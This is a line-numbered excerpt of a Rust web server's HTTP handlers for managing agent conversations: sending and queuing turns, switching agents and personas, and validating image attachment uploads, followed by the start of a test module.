5867struct TalkView {
5868 #[serde(flatten)]
5869 talk: Talk,
5870 turn_bodies_md: Vec<Vec<md::Node>>,
5871 thinking: bool,
5879 context: talk::ContextUsage,
5883 operator_name: Option<String>,
5886 persona_name: Option<String>,
5888}
5889
5890impl TalkView {
5891 fn new(talk: Talk, thinking: bool) -> Self {
5894 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5895 Self::with_config(talk, thinking, cfg.as_ref())
5896 }
5897
5898 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5901 let context = talk::context_usage(&talk, cfg);
5902 let turn_bodies_md = talk
5903 .turns
5904 .iter()
5905 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5906 .collect();
5907 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
5908 let persona_name = persona::find(specs, &talk.persona)
5909 .filter(|p| !p.is_default())
5910 .map(|p| p.name);
5911 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
5912 Self {
5913 turn_bodies_md,
5914 thinking,
5915 context,
5916 operator_name,
5917 persona_name,
5918 talk,
5919 }
5920 }
5921}
5922
5923#[derive(Debug, Serialize)]
5928struct TalkDetailView {
5929 #[serde(flatten)]
5930 view: TalkView,
5931 tasks: Vec<TaskView>,
5932 roster: Vec<RosterEntry>,
5935 personas: Vec<PersonaEntry>,
5938}
5939
5940#[derive(Debug, Serialize)]
5942struct PersonaEntry {
5943 id: String,
5944 name: String,
5945}
5946
5947#[derive(Debug, Serialize)]
5949struct RosterEntry {
5950 id: String,
5951 kind: AgentKind,
5952 runnable: bool,
5954}
5955
5956async fn talks_list(
5961 State(ui): State<Arc<Ui>>,
5962 Query(q): Query<ListQuery>,
5963) -> ApiResult<Json<Vec<TalkView>>> {
5964 blocking(move || {
5965 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5966 Ok(Json(
5967 ui.talks
5968 .list()
5969 .into_iter()
5970 .filter(|talk| q.contains(&talk.id))
5971 .map(|talk| {
5972 let thinking = ui.is_thinking(&talk.id);
5973 let cfg = configs
5974 .entry(talk.repo.clone())
5975 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5976 TalkView::with_config(talk, thinking, cfg.as_ref())
5977 })
5978 .collect(),
5979 ))
5980 })
5981 .await
5982}
5983
5984#[derive(Debug, Default, Deserialize)]
5989#[serde(default)]
5990struct NewTalk {
5991 agent: Option<String>,
5992 repo: Option<PathBuf>,
5993}
5994
5995async fn talk_post(
5998 State(ui): State<Arc<Ui>>,
5999 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6000) -> ApiResult<impl IntoResponse> {
6001 let body = match body {
6005 Ok(Json(body)) => body,
6006 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6007 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6008 };
6009 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6010 let cfg = config_for(&repo).await?;
6011 let view = blocking(move || {
6012 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6013 let thinking = ui.is_thinking(&talk.id);
6014 Ok(TalkView::new(talk, thinking))
6015 })
6016 .await?;
6017 Ok((StatusCode::CREATED, Json(view)))
6018}
6019
6020async fn talk_detail(
6022 State(ui): State<Arc<Ui>>,
6023 Path(id): Path<String>,
6024) -> ApiResult<Json<TalkDetailView>> {
6025 blocking(move || {
6026 let id = resolve_talk(&ui.talks, &id)?;
6027 let talk = ui.talks.get(&id)?;
6028 let thinking = ui.is_thinking(&talk.id);
6029 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6030 .into_iter()
6031 .map(TaskView::from)
6032 .collect();
6033 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6034 let roster = cfg
6035 .as_ref()
6036 .map(|cfg| {
6037 cfg.agents
6038 .iter()
6039 .map(|a| RosterEntry {
6040 id: a.id.clone(),
6041 kind: a.kind,
6042 runnable: agent::installed(a),
6043 })
6044 .collect()
6045 })
6046 .unwrap_or_default();
6047 let specs = cfg
6048 .as_ref()
6049 .map(|cfg| cfg.talk.personas.clone())
6050 .unwrap_or_default();
6051 let personas = persona::catalog(&specs)
6052 .into_iter()
6053 .map(|p| PersonaEntry {
6054 id: p.id,
6055 name: p.name,
6056 })
6057 .collect();
6058 Ok(Json(TalkDetailView {
6059 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6060 tasks,
6061 roster,
6062 personas,
6063 }))
6064 })
6065 .await
6066}
6067
6068#[derive(Debug, Default, Deserialize)]
6074#[serde(default, deny_unknown_fields)]
6075struct NewTalkTurn {
6076 text: String,
6077 attachments: Vec<String>,
6078}
6079
6080#[derive(Debug, Deserialize)]
6081#[serde(deny_unknown_fields)]
6082struct EditTalkPending {
6083 text: String,
6084 expected_text: String,
6085 expected_attachments: Vec<String>,
6086}
6087
6088#[derive(Debug, Deserialize)]
6089#[serde(deny_unknown_fields)]
6090struct ClearTalkPending {
6091 expected_text: String,
6092 expected_attachments: Vec<String>,
6093}
6094
6095async fn talk_say(
6107 State(ui): State<Arc<Ui>>,
6108 Path(id): Path<String>,
6109 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6110) -> ApiResult<(StatusCode, Json<TalkView>)> {
6111 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6112 if body.text.trim().is_empty() && body.attachments.is_empty() {
6113 return Err(ApiError::bad_request("say something"));
6114 }
6115
6116 let id = {
6117 let ui = Arc::clone(&ui);
6118 let asked = id.clone();
6119 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6120 };
6121 {
6125 let ui = Arc::clone(&ui);
6126 let id = id.clone();
6127 blocking(move || {
6128 let talk = ui.talks.get(&id)?;
6129 if !talk.status.open() {
6130 return Err(ApiError::conflict(format!(
6131 "talk {} is {} and takes no more turns",
6132 talk.short(),
6133 talk.status.as_str()
6134 )));
6135 }
6136 Ok(())
6137 })
6138 .await?;
6139 }
6140
6141 let attachments = {
6146 let ui = Arc::clone(&ui);
6147 let id = id.clone();
6148 let ids = body.attachments.clone();
6149 blocking(move || {
6150 ids.into_iter()
6151 .map(|att_id| {
6152 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6153 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6154 })
6155 })
6156 .collect::<ApiResult<Vec<talk::Attachment>>>()
6157 })
6158 .await?
6159 };
6160
6161 let start = {
6166 let ui = Arc::clone(&ui);
6167 let id = id.clone();
6168 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6169 };
6170 let turn_guard = match start {
6171 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6172 TalkTurnStart::Pending => {
6173 return Err(ApiError::conflict(
6174 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6175 ));
6176 }
6177 TalkTurnStart::Foreign => {
6178 return Err(ApiError::conflict(
6179 "a turn is already running in another process; try again when it has finished",
6180 ));
6181 }
6182 TalkTurnStart::Busy => {
6183 let (tx, rx) = tokio::sync::oneshot::channel();
6199 tokio::spawn({
6200 let ui = Arc::clone(&ui);
6201 let id = id.clone();
6202 let said = body.text.clone();
6203 async move {
6204 let written = blocking({
6205 let ui = Arc::clone(&ui);
6206 let id = id.clone();
6207 move || {
6208 let mut talk = ui.talks.get(&id)?;
6209 #[cfg(test)]
6214 if let Some(gate) = ui
6215 .busy_queue_gate
6216 .lock()
6217 .unwrap_or_else(PoisonError::into_inner)
6218 .take()
6219 {
6220 let _ = gate.reached.send(());
6221 let _ = gate.release.recv();
6222 }
6223 if let Err(error) =
6224 talk::queue(&mut talk, &ui.talks, &said, attachments)
6225 {
6226 if let Ok(fresh) = ui.talks.get(&id) {
6227 if !fresh.status.open() {
6228 return Err(ApiError::conflict(format!(
6229 "talk {} is {} and takes no more turns",
6230 fresh.short(),
6231 fresh.status.as_str()
6232 )));
6233 }
6234 }
6235 return Err(ApiError::from(error));
6236 }
6237 let claim = match ui.begin_queued_talk_turn(&id)? {
6248 Some(turn_guard) => {
6249 let (cfg, _) = Config::discover(&talk.repo, None)?;
6250 Some((talk.clone(), cfg, turn_guard))
6251 }
6252 None => None,
6253 };
6254 let thinking = ui.is_thinking(&id);
6255 Ok((TalkView::new(talk, thinking), claim))
6256 }
6257 })
6258 .await;
6259 let (view, reclaimed) = match written {
6260 Ok(pair) => pair,
6261 Err(e) => {
6262 let _ = tx.send(Err(e));
6267 return;
6268 }
6269 };
6270 let _ = tx.send(Ok(view));
6273 if let Some((talk, cfg, turn_guard)) = reclaimed {
6274 let talks = ui.talks.clone();
6275 drain_loop(talk, talks, cfg, id, turn_guard).await;
6276 }
6277 }
6278 });
6279 let view = rx
6280 .await
6281 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6282 return Ok((StatusCode::ACCEPTED, Json(view)));
6283 }
6284 };
6285
6286 let (talk, cfg) = {
6287 let ui = Arc::clone(&ui);
6288 let id = id.clone();
6289 blocking(move || {
6290 let talk = ui.talks.get(&id)?;
6291 let (cfg, _) = Config::discover(&talk.repo, None)?;
6292 Ok((talk, cfg))
6293 })
6294 .await?
6295 };
6296
6297 let talks = ui.talks.clone();
6298 let (tx, rx) = tokio::sync::oneshot::channel();
6313 tokio::spawn({
6314 let ui = Arc::clone(&ui);
6315 let talks = talks.clone();
6316 let id = id.clone();
6317 let said = body.text.clone();
6318 let mut talk = talk.clone();
6319 async move {
6320 let recorded = blocking({
6321 let talks = talks.clone();
6322 move || {
6323 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6324 if let Ok(fresh) = talks.get(&talk.id) {
6325 if !fresh.status.open() {
6326 return Err(ApiError::conflict(format!(
6327 "talk {} is {} and takes no more turns",
6328 fresh.short(),
6329 fresh.status.as_str()
6330 )));
6331 }
6332 }
6333 return Err(ApiError::from(error));
6334 }
6335 Ok((said.trim().to_owned(), talk))
6341 }
6342 })
6343 .await;
6344 let (text, mut talk) = match recorded {
6345 Ok(pair) => pair,
6346 Err(e) => {
6347 let _ = tx.send(Err(e));
6351 return;
6352 }
6353 };
6354 let queued = talk.clone();
6355 let thinking = ui.is_thinking(&id);
6356 let _ = tx.send(Ok((queued, thinking)));
6359
6360 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6361 tracing::warn!("talk {id} turn failed: {e:#}");
6365 }
6366 drain_loop(talk, talks, cfg, id, turn_guard).await;
6369 }
6370 });
6371
6372 let (queued, thinking) = rx
6373 .await
6374 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6375
6376 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6378}
6379
6380async fn talk_pending_resume(
6384 State(ui): State<Arc<Ui>>,
6385 Path(id): Path<String>,
6386) -> ApiResult<(StatusCode, Json<TalkView>)> {
6387 let id = {
6388 let ui = Arc::clone(&ui);
6389 let asked = id.clone();
6390 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6391 };
6392 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6393 return Err(ApiError::conflict(
6394 "a talk turn is already running; the queued draft will be handled by it",
6395 ));
6396 };
6397 let (talk, cfg) = {
6398 let ui = Arc::clone(&ui);
6399 let id = id.clone();
6400 blocking(move || {
6401 let talk = ui.talks.get(&id)?;
6402 if !talk.status.open() {
6403 return Err(ApiError::conflict(format!(
6404 "talk {} is {} and takes no more turns",
6405 talk.short(),
6406 talk.status.as_str()
6407 )));
6408 }
6409 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6410 return Err(ApiError::conflict("there is no queued draft to resume"));
6411 }
6412 let (cfg, _) = Config::discover(&talk.repo, None)?;
6413 Ok((talk, cfg))
6414 })
6415 .await?
6416 };
6417 let view = TalkView::new(talk.clone(), true);
6418 let talks = ui.talks.clone();
6419 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6420 Ok((StatusCode::ACCEPTED, Json(view)))
6421}
6422
6423async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6439 let live_set = Arc::clone(&turn.turns);
6440 let mut turn = Some(turn);
6448 loop {
6449 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6450 tracing::warn!("talk {id} lost its turn lease; not draining further");
6453 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6454 if let Some(turn) = turn.take() {
6455 turn.release(&mut live);
6456 }
6457 break;
6458 }
6459 let observed = live_set
6463 .lock()
6464 .unwrap_or_else(PoisonError::into_inner)
6465 .queued
6466 .get(&id)
6467 .copied()
6468 .unwrap_or(0);
6469 let drained = blocking({
6470 let talks = talks.clone();
6471 move || {
6472 let result = talk::drain(&mut talk, &talks);
6473 Ok((talk, result))
6474 }
6475 })
6476 .await;
6477 let (next_talk, result) = match drained {
6478 Ok(drained) => drained,
6479 Err(e) => {
6480 tracing::warn!(
6481 status = %e.status,
6482 message = %e.message,
6483 "talk {id} could not start queued-text drain"
6484 );
6485 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6486 turn.take()
6487 .expect("held for the whole loop until released here")
6488 .release(&mut live);
6489 break;
6490 }
6491 };
6492 talk = next_talk;
6493 let drained = match result {
6494 Ok(Some(drained)) => drained,
6495 Ok(None) => {
6496 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6497 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6498 continue;
6499 }
6500 turn.take()
6501 .expect("held for the whole loop until released here")
6502 .release(&mut live);
6503 break;
6504 }
6505 Err(e) => {
6506 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6507 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6508 turn.take()
6509 .expect("held for the whole loop until released here")
6510 .release(&mut live);
6511 break;
6512 }
6513 };
6514 let responded = match turn.as_ref() {
6515 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6516 None => Err(anyhow::anyhow!("the turn guard was released")),
6517 };
6518 if let Err(e) = responded {
6519 tracing::warn!("talk {id} turn failed: {e:#}");
6520 }
6521 }
6522}
6523
6524async fn talk_pending_clear(
6526 State(ui): State<Arc<Ui>>,
6527 Path(id): Path<String>,
6528 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6529) -> ApiResult<Json<TalkView>> {
6530 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6531 blocking(move || {
6532 let id = resolve_talk(&ui.talks, &id)?;
6533 let mut talk = ui.talks.get(&id)?;
6534 if !talk.status.open() {
6535 return Err(ApiError::conflict(format!(
6536 "talk {} is {} and takes no more turns",
6537 talk.short(),
6538 talk.status.as_str()
6539 )));
6540 }
6541 if !talk::clear_pending_if_matches(
6542 &mut talk,
6543 &ui.talks,
6544 &body.expected_text,
6545 &body.expected_attachments,
6546 )? {
6547 return Err(ApiError::conflict(
6548 "queued message changed; reload it before clearing",
6549 ));
6550 }
6551 let thinking = ui.is_thinking(&talk.id);
6552 Ok(Json(TalkView::new(talk, thinking)))
6553 })
6554 .await
6555}
6556
6557async fn talk_pending_edit(
6561 State(ui): State<Arc<Ui>>,
6562 Path(id): Path<String>,
6563 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6564) -> ApiResult<Json<TalkView>> {
6565 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6566 let (view, reclaimed) = blocking({
6567 let ui = Arc::clone(&ui);
6568 move || {
6569 let id = resolve_talk(&ui.talks, &id)?;
6570 let mut talk = ui.talks.get(&id)?;
6571 if !talk.status.open() {
6572 return Err(ApiError::conflict(format!(
6573 "talk {} is {} and takes no more turns",
6574 talk.short(),
6575 talk.status.as_str()
6576 )));
6577 }
6578 if !talk::edit_pending_text(
6579 &mut talk,
6580 &ui.talks,
6581 &body.text,
6582 &body.expected_text,
6583 &body.expected_attachments,
6584 )? {
6585 return Err(ApiError::conflict(
6586 "queued message changed; reload it before editing",
6587 ));
6588 }
6589 let claim = match ui.begin_queued_talk_turn(&id)? {
6590 Some(turn_guard) => {
6591 let (cfg, _) = Config::discover(&talk.repo, None)?;
6592 Some((talk.clone(), cfg, id.clone(), turn_guard))
6593 }
6594 None => None,
6595 };
6596 let thinking = ui.is_thinking(&id);
6597 Ok((TalkView::new(talk, thinking), claim))
6598 }
6599 })
6600 .await?;
6601 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6602 let talks = ui.talks.clone();
6603 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6604 }
6605 Ok(Json(view))
6606}
6607
6608#[derive(Debug, Deserialize)]
6610struct TalkAgent {
6611 agent: String,
6612}
6613
6614async fn talk_agent(
6619 State(ui): State<Arc<Ui>>,
6620 Path(id): Path<String>,
6621 Json(body): Json<TalkAgent>,
6622) -> ApiResult<Json<TalkView>> {
6623 let id = {
6624 let ui = Arc::clone(&ui);
6625 blocking(move || resolve_talk(&ui.talks, &id)).await?
6626 };
6627 let repo = {
6628 let ui = Arc::clone(&ui);
6629 let id = id.clone();
6630 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6631 };
6632 let cfg = config_for(&repo).await?;
6633 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6634 return Err(ApiError::conflict(
6635 "a talk turn is running; change the agent once it has answered",
6636 ));
6637 };
6638 let switched = {
6639 let ui = Arc::clone(&ui);
6640 let id = id.clone();
6641 let cfg = cfg.clone();
6642 blocking(move || {
6643 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6644 .map_err(ApiError::bad_request_from)?;
6645 let mut talk = ui.talks.get(&id)?;
6646 if !talk.status.open() {
6647 return Err(ApiError::conflict(format!(
6648 "talk {} is {} and takes no more turns",
6649 talk.short(),
6650 talk.status.as_str()
6651 )));
6652 }
6653 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6654 Ok(talk)
6655 })
6656 .await
6657 };
6658 let fresh = {
6663 let ui = Arc::clone(&ui);
6664 let id = id.clone();
6665 blocking(move || Ok(ui.talks.get(&id)?)).await
6666 };
6667 let draining = match fresh {
6668 Ok(talk) => {
6669 let draining = talk.status.open()
6670 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6671 let talks = ui.talks.clone();
6672 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6673 draining
6674 }
6675 Err(_) => false,
6676 };
6677 let talk = switched?;
6678 Ok(Json(TalkView::new(talk, draining)))
6679}
6680
6681#[derive(Debug, Deserialize)]
6683struct TalkPersona {
6684 persona: String,
6685}
6686
6687async fn talk_persona(
6691 State(ui): State<Arc<Ui>>,
6692 Path(id): Path<String>,
6693 Json(body): Json<TalkPersona>,
6694) -> ApiResult<Json<TalkView>> {
6695 let id = {
6696 let ui = Arc::clone(&ui);
6697 blocking(move || resolve_talk(&ui.talks, &id)).await?
6698 };
6699 let repo = {
6700 let ui = Arc::clone(&ui);
6701 let id = id.clone();
6702 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6703 };
6704 let cfg = config_for(&repo).await?;
6705 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6706 return Err(ApiError::conflict(
6707 "a talk turn is running; change the persona once it has answered",
6708 ));
6709 };
6710 let switched = {
6711 let ui = Arc::clone(&ui);
6712 let id = id.clone();
6713 let cfg = cfg.clone();
6714 blocking(move || {
6715 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6716 return Err(ApiError::bad_request(format!(
6717 "unknown persona `{}`",
6718 body.persona
6719 )));
6720 };
6721 let mut talk = ui.talks.get(&id)?;
6722 if !talk.status.open() {
6723 return Err(ApiError::conflict(format!(
6724 "talk {} is {} and takes no more turns",
6725 talk.short(),
6726 talk.status.as_str()
6727 )));
6728 }
6729 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6730 Ok(talk)
6731 })
6732 .await
6733 };
6734 let fresh = {
6736 let ui = Arc::clone(&ui);
6737 let id = id.clone();
6738 blocking(move || Ok(ui.talks.get(&id)?)).await
6739 };
6740 let draining = match fresh {
6741 Ok(talk) => {
6742 let draining = talk.status.open()
6743 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6744 let talks = ui.talks.clone();
6745 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6746 draining
6747 }
6748 Err(_) => false,
6749 };
6750 let talk = switched?;
6751 Ok(Json(TalkView::new(talk, draining)))
6752}
6753
6754async fn talk_close(
6756 State(ui): State<Arc<Ui>>,
6757 Path(id): Path<String>,
6758) -> ApiResult<Json<TalkView>> {
6759 blocking(move || {
6760 let id = resolve_talk(&ui.talks, &id)?;
6761 let mut talk = ui.talks.get(&id)?;
6762 talk::close(&mut talk, &ui.talks)?;
6763 let thinking = ui.is_thinking(&talk.id);
6764 Ok(Json(TalkView::new(talk, thinking)))
6765 })
6766 .await
6767}
6768
6769async fn talk_reopen(
6771 State(ui): State<Arc<Ui>>,
6772 Path(id): Path<String>,
6773) -> ApiResult<Json<TalkView>> {
6774 blocking(move || {
6775 let id = resolve_talk(&ui.talks, &id)?;
6776 let mut talk = ui.talks.get(&id)?;
6777 talk::reopen(&mut talk, &ui.talks)?;
6778 let thinking = ui.is_thinking(&talk.id);
6779 Ok(Json(TalkView::new(talk, thinking)))
6780 })
6781 .await
6782}
6783
6784async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6794 blocking(move || {
6795 let id = resolve_talk(&ui.talks, &id)?;
6796 ui.talks.remove(&id)?;
6797 Ok(StatusCode::NO_CONTENT)
6798 })
6799 .await
6800}
6801
6802fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6804 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6805}
6806
6807async fn talk_attachment_post(
6810 State(ui): State<Arc<Ui>>,
6811 Path(id): Path<String>,
6812 headers: HeaderMap,
6813 body: Bytes,
6814) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6815 let mime = validate_attachment(&headers, &body)?;
6816 let name = filename_header(&headers);
6817 let data = body.to_vec();
6818 blocking(move || {
6819 let id = resolve_talk(&ui.talks, &id)?;
6820 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6821 Ok((StatusCode::CREATED, Json(att)))
6822 })
6823 .await
6824}
6825
6826async fn talk_attachment_get(
6829 State(ui): State<Arc<Ui>>,
6830 Path((id, att)): Path<(String, String)>,
6831) -> ApiResult<Response> {
6832 blocking(move || {
6833 let id = resolve_talk(&ui.talks, &id)?;
6834 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6835 return Err(ApiError::not_found(format!(
6836 "talk {id} has no attachment `{att}`"
6837 )));
6838 };
6839 Ok(attachment_response(&meta.mime, data))
6840 })
6841 .await
6842}
6843
6844fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6855 if data.len() > ATTACHMENT_MAX_BYTES {
6856 return Err(ApiError::bad_request(format!(
6857 "attachment is {} bytes, over the {} MiB limit",
6858 data.len(),
6859 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6860 ))
6861 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6862 }
6863 if data.is_empty() {
6864 return Err(ApiError::bad_request("attachment is empty"));
6865 }
6866 let declared = declared_mime(headers)?;
6867 match sniffed_mime(data) {
6868 Some(sniffed) if sniffed == declared => Ok(declared),
6869 Some(sniffed) => Err(ApiError::bad_request(format!(
6870 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6871 ))),
6872 None => Err(ApiError::bad_request(
6873 "the file's bytes do not match any accepted image format",
6874 )),
6875 }
6876}
6877
6878fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6882 let raw = headers
6883 .get(header::CONTENT_TYPE)
6884 .and_then(|v| v.to_str().ok())
6885 .unwrap_or("")
6886 .split(';')
6887 .next()
6888 .unwrap_or("")
6889 .trim()
6890 .to_ascii_lowercase();
6891 ATTACHMENT_MIME_WHITELIST
6892 .iter()
6893 .find(|&&m| m == raw)
6894 .copied()
6895 .ok_or_else(|| {
6896 if raw == "image/svg+xml" {
6897 ApiError::bad_request(
6898 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6899 not just a picture",
6900 )
6901 } else if raw.is_empty() {
6902 ApiError::bad_request("Content-Type is required for an attachment upload")
6903 } else {
6904 ApiError::bad_request(format!(
6905 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6906 image/gif or image/webp"
6907 ))
6908 }
6909 })
6910}
6911
6912fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6915 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6916 Some("image/png")
6917 } else if data.starts_with(b"\xff\xd8\xff") {
6918 Some("image/jpeg")
6919 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6920 Some("image/gif")
6921 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6922 Some("image/webp")
6923 } else {
6924 None
6925 }
6926}
6927
6928fn filename_header(headers: &HeaderMap) -> String {
6934 headers
6935 .get(FILENAME_HEADER)
6936 .and_then(|v| v.to_str().ok())
6937 .map(str::trim)
6938 .filter(|s| !s.is_empty())
6939 .unwrap_or("attachment")
6940 .to_owned()
6941}
6942
6943fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6950 let content_type = ATTACHMENT_MIME_WHITELIST
6951 .iter()
6952 .find(|&&m| m == mime)
6953 .copied()
6954 .unwrap_or("application/octet-stream");
6955 (
6956 [
6957 (header::CONTENT_TYPE, content_type),
6958 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6959 ],
6960 body,
6961 )
6962 .into_response()
6963}
6964
6965async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6973 let repo = repo.to_path_buf();
6974 blocking(move || {
6975 let (cfg, _) = Config::discover(&repo, None)?;
6976 Ok(cfg)
6977 })
6978 .await
6979}
6980
6981fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6987 let mut hits = ids
6988 .into_iter()
6989 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6990 match (hits.next(), hits.next()) {
6991 (Some(one), None) => Ok(one),
6992 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6993 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6994 "`{prefix}` matches more than one {what}, including {a} and {b}"
6995 ))),
6996 }
6997}
6998
6999#[cfg(test)]
7000mod tests {
7001
7002 #[test]
7003 fn holder_reads_the_lease_not_the_record() {
7004 let mut q = Question::new(
7005 "run".to_owned(),
7006 "implement".to_owned(),
7007 "impl-A".to_owned(),
7008 "which?".to_owned(),
7009 String::new(),
7010 Vec::new(),
7011 );
7012 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7013 q.cwd = Some("/tmp".to_owned());
7014 assert_eq!(holder_of(&q, None), Some("nobody"));
7015 let beat = |kind, ago: i64| ask::Lease {
7016 kind,
7017 pid: 1,
7018 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7019 .unwrap(),
7020 };
7021 let fresh = beat(ask::WaiterKind::Asker, 1);
7022 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7023 let daemon = beat(ask::WaiterKind::Daemon, 1);
7024 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7025 let stale = beat(ask::WaiterKind::Asker, 3600);
7026 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7027
7028 let mut c = Question::new(
7031 "task".to_owned(),
7032 crate::conduct::NODE.to_owned(),
7033 "conduct".to_owned(),
7034 "which?".to_owned(),
7035 String::new(),
7036 Vec::new(),
7037 );
7038 assert_eq!(holder_of(&c, None), Some("nobody"));
7039 c.cwd = Some("/tmp".to_owned());
7040 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7041 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7042 let deputy = beat(ask::WaiterKind::Deputy, 1);
7043 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7044 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7045
7046 let mut r = Question::new(
7048 String::new(),
7049 crate::bump::NOTICE_NODE.to_owned(),
7050 "release-watch".to_owned(),
7051 "stuck?".to_owned(),
7052 String::new(),
7053 vec!["hold".to_owned()],
7054 );
7055 assert_eq!(holder_of(&r, None), Some("nobody"));
7056 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7057 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7058 r.deputy = None;
7060 r.seat = "bump".to_owned();
7061 assert_eq!(holder_of(&r, None), None);
7062
7063 let mut m = Question::new(
7066 "run".to_owned(),
7067 crate::land::APPROVAL_NODE.to_owned(),
7068 "land".to_owned(),
7069 "merge?".to_owned(),
7070 String::new(),
7071 Vec::new(),
7072 );
7073 assert_eq!(holder_of(&m, None), Some("nobody"));
7074 assert_eq!(
7075 holder_of(&m, Some(&fresh)),
7076 Some("nobody"),
7077 "a lease with no deputy is not a listener"
7078 );
7079 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7080 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7081 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7082 assert_eq!(holder_of(&m, None), Some("nobody"));
7083 }
7084
7085 fn stub_config() -> Config {
7086 Config {
7089 agents: vec![crate::config::AgentSpec {
7090 id: "stub".to_owned(),
7091 kind: AgentKind::Command,
7092 model: None,
7093 command: vec!["true".to_owned()],
7094 extra_args: Vec::new(),
7095 env: Default::default(),
7096 prompt_delivery: None,
7097 }],
7098 ..Config::default()
7099 }
7100 }
7101
